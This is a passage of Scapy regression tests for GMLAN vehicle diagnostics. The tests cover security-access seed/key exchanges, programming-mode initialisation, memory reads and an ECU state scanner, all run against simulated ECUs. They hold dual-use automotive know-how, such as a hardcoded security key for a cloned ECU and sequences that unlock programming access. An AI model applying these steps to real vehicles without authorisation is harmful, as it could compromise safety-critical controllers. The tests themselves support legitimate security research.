thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Positive scenario, level 3 ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=3, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=4, securityKey=0xbeef) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: pr = GMLAN()/GMLAN_SAPR(subfunction=4) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=3, timeout=0.1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Negative scenario, invalid password ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbabe) if bytes(requ[0]) != bytes(pkt): nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: ecusimSuccessfullyExecuted = False pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = invalid level (not an odd number) assert GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=2, timeout=1) == False = zero seed started = threading.Event() def ecusim(): # wait for request isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0x0000) isotpsock2.send(seedmsg) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1) == True thread.join(timeout=5) assert res ############### retry = Positive scenario, request timeout, retry works started = threading.Event() def ecusim(): # timeout requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set) # wait for request requ = isotpsock2.sniff(count=1, timeout=3) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True thread.join(timeout=5) assert res = Positive scenario, keysend timeout, retry works started = threading.Event() def ecusim(): # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # timeout requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(seedmsg)) # retry from start requ = isotpsock2.sniff(count=1, timeout=3) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True thread.join(timeout=5) assert res = Positive scenario, request error, retry works started = threading.Event() def ecusim(): # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x37) # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_GetSecurityAccess(isotpsock, keyfunc, level=1, timeout=0.1, retry=1) == True thread.join(timeout=5) assert res ############################################################################## + GMLAN_InitDiagnostics Tests ############################################################################## = sequence of the correct messages ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = sequence of the correct messages, disablenormalcommunication as broadcast ecusimSuccessfullyExecuted = True started = threading.Event() broadcastsender = TestSocket(CAN) broadcastrcv = TestSocket(CAN) broadcastsender.pair(broadcastrcv) def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True print("DisableNormalCommunication") requ = broadcastrcv.sniff(count=1, timeout=2, started_callback=started.set) assert len(requ) >= 1 if bytes(requ[0].data)[0:3] != b"\xfe\x01\x28": ecusimSuccessfullyExecuted = False print("ReportProgrammedState") requ = isotpsock2.sniff(count=1, timeout=2) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) print("ProgrammingMode requestProgramming") requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN(b"\xe5") print("InitiateProgramming enableProgramming") requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x3) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, broadcast_socket=GMLAN_BroadcastSocket(broadcastsender), timeout=5, unittest=True) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ######## timeout = timeout DisableNormalCommunication ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = timeout ReportProgrammedState ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = timeout ProgrammingMode requestProgramming ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ###### negative response = timeout DisableNormalCommunication ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ###### retry tests = sequence of the correct messages, retry set started = threading.Event() def ecusim(): # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=0, unittest=True) == True assert res thread.join(timeout=5) = negative response, make sure no retries are made ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack)) if len(requ) != 0: ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=0, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = first fail at DisableNormalCommunication, then sequence of the correct messages started = threading.Event() def ecusim(): requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=1, unittest=True) == True thread.join(timeout=5) assert res = first fail at ReportProgrammedState, then sequence of the correct messages started = threading.Event() def ecusim(): # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # Fail requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0xA2, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=1, unittest=True) == True thread.join(timeout=5) assert res = first fail at ProgrammingMode requestProgramming, then sequence of the correct messages started = threading.Event() def ecusim(): # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # Fail requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0xA5, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") isotpsock2.send(ack) # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=1, unittest=True) == True thread.join(timeout=5) assert res = fail twice ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack)) if len(requ) != 0: ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=1, unittest=True) == False thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ############################################################################## + GMLAN_ReadMemoryByAddress Tests ############################################################################## = Positive, short length, scheme = 4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_RMBA(memoryAddress=0x0, memorySize=0x8) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) == payload thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Negative, negative response conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) is None thread.join(timeout=5) assert res = Negative, timeout assert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=0.01) is None ###### RETRY = Positive, negative response, retry succeeds conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1, retry=1) == payload thread.join(timeout=5) assert res + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/gm/scanner.uts ================================================ % Regression tests for GMLAN Scanners ~ scanner + Configuration ~ conf = Imports import itertools import logging import threading import time from scapy.contrib.isotp import ISOTPMessageBuilder from test.testsocket import TestSocket, cleanup_testsockets, open_test_sockets ############ ############ + Load general modules = Load contribution layer from scapy.contrib.automotive.gm.gmlan import * conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 from scapy.contrib.automotive.gm.gmlan_scanner import * from scapy.contrib.automotive.ecu import * load_layer("can") log_automotive.setLevel(logging.DEBUG) = Define Testfunction def executeScannerInVirtualEnvironment(supported_responses, enumerators, **kwargs): tester = TestSocket(GMLAN) ecu = TestSocket(GMLAN) tester.pair(ecu) answering_machine = EcuAnsweringMachine(supported_responses=supported_responses, main_socket=ecu, basecls=GMLAN, verbose=False) def reset(): answering_machine.reset_state() sniff(timeout=0.001, opened_socket=[ecu, tester]) sim = threading.Thread(target=answering_machine, kwargs={ "timeout": 30, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: scanner = GMLAN_Scanner( tester, reset_handler=reset, test_cases=enumerators, timeout=0.2, retry_if_none_received=True, unittest=True, **kwargs) def scanner_thread(): for i in range(3): print("Starting scan") scanner.scan(timeout=10) if scanner.scan_completed: print("Scan completed after %d iterations" % i) return scanner_t = threading.Thread(target=scanner_thread) scanner_t.start() scanner_t.join(timeout=120) if scanner_t.is_alive(): scanner.stop_scan() finally: tester.send(Raw(b"\xff\xff\xff")) sim.join(timeout=2) assert not sim.is_alive() cleanup_testsockets() return scanner = Load packets from candump conf.contribs['CAN']['swap-bytes'] = True pkts = rdpcap(scapy_path("test/pcaps/candump_gmlan_scanner.pcap.gz")) assert len(pkts) = Create GMLAN messages from packets builder = ISOTPMessageBuilder(basecls=GMLAN, use_ext_address=False, rx_id=[0x241, 0x641]) msgs = list() for p in pkts: if p.data == b"ECURESET": msgs.append(p) else: builder.feed(p) if len(builder): msgs.append(builder.pop()) assert len(msgs) = Create ECU-Clone from packets mEcu = Ecu(logging=False, verbose=False, store_supported_responses=True) for p in msgs: if isinstance(p, CAN) and p.data == b"ECURESET": mEcu.reset() else: mEcu.update(p) assert len(mEcu.supported_responses) = Test GMLAN_SAEnumerator evaluate_response e = GMLAN_SAEnumerator() config = {} s = EcuState(session=1) debug_dissector_backup = conf.debug_dissector # This tests involves corrupted Packets, therefore we need to disable the debug_dissector conf.debug_dissector = False assert False == e._evaluate_response(s, GMLAN(b"\x27\x01"), None, **config) config = {"exit_if_service_not_supported": True} assert not e._retry_pkt[s] assert True == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x7f\x27\x11"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x7f\x27\x22"), **config) assert e._retry_pkt[s] == GMLAN(b"\x27\x01") assert False == e._evaluate_response(s, GMLAN(b"\x27\x02"), GMLAN(b"\x7f\x27\x22"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x7f\x27\x37"), **config) assert e._retry_pkt[s] == GMLAN(b"\x27\x01") assert False == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x7f\x27\x37"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x67\x01ab"), **config) assert not e._retry_pkt[s] assert False == e._evaluate_response(s, GMLAN(b"\x27\x01"), GMLAN(b"\x67\x02ab"), **config) assert not e._retry_pkt[s] conf.debug_dissector = debug_dissector_backup = Simulate ECU and run Scanner def securityAccess_Algorithm1(seed): return 0x5F51 keyfunction = securityAccess_Algorithm1 scanner = executeScannerInVirtualEnvironment( mEcu.supported_responses, [GMLAN_IDOEnumerator, GMLAN_PMEnumerator, GMLAN_RDEnumerator, GMLAN_SAEnumerator], GMLAN_SAEnumerator_kwargs={"keyfunction": keyfunction, "scan_range": range(2)}, GMLAN_PMEnumerator_kwargs={"unittest": True}) assert len(scanner.state_paths) == 9 assert scanner.scan_completed assert EcuState(session=1) in scanner.final_states assert EcuState(session=1, security_level=2) in scanner.final_states assert EcuState(session=3, tp=1) in scanner.final_states assert EcuState(session=2, tp=1, communication_control=1) in scanner.final_states assert EcuState(session=2, tp=1, communication_control=1, security_level=2) in scanner.final_states assert EcuState(session=3, tp=1, security_level=2) in scanner.final_states assert EcuState(session=2, tp=1, communication_control=1, security_level=2, request_download=1) in scanner.final_states = Simulate ECU and test GMLAN_RDBIEnumerator resps = [EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="SubFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [GMLAN_RDBIEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "SubFunctionNotSupported received" in result ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = Simulate ECU and test GMLAN_WDBIEnumerator def wdbi_handler(resp, req): if req.service != 0x3b: return False assert req.dataIdentifier in [1, 2, 3, 0xff] resp.dataIdentifier = req.dataIdentifier if req.dataIdentifier == 1: assert req.dataRecord == b'asdfbeef1' return True if req.dataIdentifier == 2: assert req.dataRecord == b'beef2' return True if req.dataIdentifier == 3: assert req.dataRecord == b"beef3" return True if req.dataIdentifier == 0xff: assert req.dataRecord == b"beefff" return True return False resps = [EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [GMLAN()/GMLAN_WDBIPR()], answers=wdbi_handler), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="SubFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [GMLAN_WDBISelectiveEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed tc = scanner.configuration.test_cases[0][0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "SubFunctionNotSupported received" in result ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids ######################### WDBI ############################# tc = scanner.configuration.test_cases[0][1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = Simulate ECU and test GMLAN_RDBPIEnumerator resps = [EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=2)/Raw(b"asdfbeef2")]), EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=0xffff)/Raw(b"beefffff")]), EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode="SubFunctionNotSupported", requestServiceId="ReadDataByParameterIdentifier")])] es = [GMLAN_RDBPIEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, GMLAN_RDBPIEnumerator_kwargs={"scan_range":list(range(0x100)) + list(range(0xff00, 0x10000))}) assert scanner.scan_completed tc = scanner.configuration.test_cases[0] 